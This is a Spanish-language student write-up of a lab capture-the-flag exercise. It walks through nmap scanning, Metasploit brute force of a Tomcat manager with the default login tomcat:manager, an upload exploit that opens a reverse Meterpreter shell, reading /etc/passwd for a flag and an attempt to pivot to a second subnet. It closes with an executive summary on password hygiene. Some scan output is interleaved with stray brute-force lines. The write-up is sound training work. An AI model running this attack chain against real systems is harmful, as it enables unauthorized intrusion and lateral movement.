

## M5T2 - CTF1.

1. Indica el valor del flag:

**Flag1\_tintin encontrada en el fichero /etc/passwd**

2. Indica el valor del flag2

**No conseguido**

3. Indica el valor del flag3

**No conseguido**

4. Indica el valor del flag4

**No conseguido**

5. Escribe lo que sería el Resumen Ejecutivo de un informe de pentesting sobre el escenario del CTF.

**Informe redactado al final del documento.**

---

**Aquí esta la lista de comandos que he ido lanzando para conseguir el flag1 y hasta donde me he atascado.**

Se pueden ver los comandos lanzadas hasta encontrarla:

```
nmap -sP 10.0.2.0/24
```

```
Nmap scan report for 10.0.2.8
Host is up (0.00036s latency).
MAC Address: 08:00:27:15:31:C4 (Oracle VirtualBox virtual NIC)
```

```
nmap -sV 10.0.2.8 -v
```

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.4 (Ubuntu Linux; protocol 2.0)
8080/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1

```
nmap -O 10.0.2.8
```

```
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
```

Un análisis más intenso:

```
not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.6.1p1Ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:10.0.2.8:22 - Failed: 'developer:austin'
|   1024 0b:b5:ca:60:32:24:b0:cb:44:9d:bf:58:cb:df:79:79 (DSA)
|   2048 a7:cd:6e:46:fa:8a:23:2e:a5:05:31:73:7d:5b:c6:7a (RSA)
|   256 7b:dd:e1:70:93:39:d8:b9:9d:53:7a:8f:97:53:0b:9a (ECDSA)
|   256 f6:7c:78:79:88:ac:eb:23:4a:08:0e:34:26:20:16:f5 (EdDSA)
8080/tcp  open  http      Apache Tomcat/Coyote JSP engine 1.1
| http-methods:10.0.2.8:22 - Failed: 'developer:hello'
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
| http-open-proxy: Proxy might be redirecting requests
| http-server-header: Apache-Coyote/1.1
| http-title: Apache Tomcat Failed: 'developer:merlin'
```

Analizando tomcat:

```
msf auxiliary(scanner/http/dir_scanner) > run
[*] 10.0.2.8:22 - Failed: 'developer:fishing'
[*] Detecting errorcode - Failed: 'developer:cocacola'
[*] Using code '404' as not found for 10.0.2.8:casper'
[+] Found http://10.0.2.8:8080/docs/ 200 (10.0.2.8)
[+] Found http://10.0.2.8:8080/examples/ 200 (10.0.2.8)
[+] Found http://10.0.2.8:8080/manager/ 302 (10.0.2.8)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Explotando tomcat desde metasploit:

```
msf auxiliary(scanner/http/tomcat_mgr_login) > run
```


User:password

Tomcat:manager

/manager

10.0.2.8:8080/manager/html

Most Visited M2T1 :: DVWA



**The Apache Software Foundation**  
http://www.apache.org/

### Gestor de Aplicaciones Web de Tomcat

Mensaje: OK

Gestor

Listar Aplicaciones

Ayuda HTML de Gestor

Ayuda de Gestor

Aplicaciones

Trayectoria	Versión	Nombre a Mostrar	Ejecutándose	Sesiones	Comandos
/	Ninguno especificado		true	0	<div>Arrancar Parar</div> <div>Expirar sesiones</div>

Con las credenciales obtenidas, configure el exploit:

```
msf exploit(multi/http/tomcat_mgr_upload) > options

Module options (exploit/multi/http/tomcat_mgr_upload):

  Name          Current Setting  Required  Description
  ----          -
  HttpPassword   manager          no        The password
  HttpUsername   tomcat           no        The username
  Proxies        no              no        A proxy chain
  RHOST          10.0.2.8         yes       The target ad
  RPORT          8080             yes       The target po
  SSL            false            no        Negotiate SSL
  TARGETURI      /manager         yes       The URI path
  VHOST          no              no        HTTP server v

Exploit target:

  Id  Name
  --  ---
  0    Java Universal
```

Exploit lanzado con éxito:

```
msf exploit(multi/http/tomcat_mgr_upload) > run

[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying NM9s1aEIfdUHQcvfn...
[*] Executing NM9s1aEIfdUHQcvfn...
[*] Undeploying NM9s1aEIfdUHQcvfn...
[*] Sending stage (53837 bytes) to 10.0.2.8
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.8:53272) at 2022-01-04 16:28:54 +0100

meterpreter > 
```

Flag1 encontrada:

```
cat passwd
root:x:0:0:flag1_tintin:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
```

Haciendo el pivoting para ver la segunda red:

```
meterpreter > run post/multi/manage/autoroute

[!] SESSION may not be compatible with this module.
[*] Running module against testbox
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.0.3.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 10.0.2.0/255.255.255.0 from host's routing table.
```

```
msf exploit(multi/http/tomcat_mgr_upload) > route
```

IPv4 Active Routing Table

```
=====
```

Subnet	Netmask	Gateway
-----	-----	-----
10.0.2.0	255.255.255.0	Session 4
10.0.3.0	255.255.255.0	Session 4

Dejamos meterpreter en el background y seguimos explotando con metasploit:

```
msf auxiliary(server/socks4a) > options
```

Module options (auxiliary/server/socks4a):

Name	Current Setting	Required	Description
-----	-----	-----	-----
SRVHOST	127.0.0.1	yes	The address to listen on
SRVPORT	1080	yes	The port to listen on.

He tratado de pivotar usando socks4a y no he conseguido hacerlo.

Escaneando la segunda red no consigo encontrar la máquina Windows.

### **Resumen Ejecutivo:**

En el análisis realizado se ha encontrado una máquina con vulnerabilidades, la cual se puede comprometer y desde la cual pivotar para acceder a otras máquinas de la organización, abarcando lo máximo posible y permitiendo así la obtención de información comprometida.

La máquina vulnerable tiene dos puertos a los cuales nos podemos conectar: ssh y un servidor web. Cabe destacar que pese a estar abierto el puerto ssh, protocolo que permite el acceso remoto a máquinas, no ha podido ser vulnerado con ataques de fuerza bruta. Por lo tanto, las contraseñas utilizadas son lo suficientemente robustas frente a este tipo de ataques.

En cambio, el servidor web (apache tomcat) si que es vulnerable debido que una de las cuentas de administración del mismo tiene un usuario y contraseña muy utilizado (tomcat:manager) y permite la explotación de la máquina a raíz de esta vulnerabilidad.

La primera recomendación es cambiar esta contraseña por una mas robusta para impedir este tipo de ataques.

Ya que usando metasploit, tras sacar las credenciales por fuerza bruta, con las mismas se ha podido lanzar una shell en la máquina desde la cual podemos tratar de escalar privilegios, hemos conseguido extraer información de ficheros de usuarios y contraseñas, y desde la cual se puede pivotar a otras máquinas de la organización.

En concreto se han visualizado máquinas en otra subred, pero que hasta la fecha no han podido ser analizadas y atacadas.

Como norma general es importante no usar los usuarios y contraseñas que vienen por defecto en servidores web, servicios conocidos, etc ya que pueden ser fácilmente vulnerados y abrir una puerta a la máquina donde se alojan, pero también al resto de la organización.

Es importante también no reutilizar contraseñas ya que, ante problemas de intrusión de este tipo, estaremos facilitando las labores de ataque del ciber delincuente. También es recomendable (casi obligatorio) usar contraseñas muy robustas, con longitud grandes y con el uso de mayúsculas, minúsculas, números y caracteres especiales.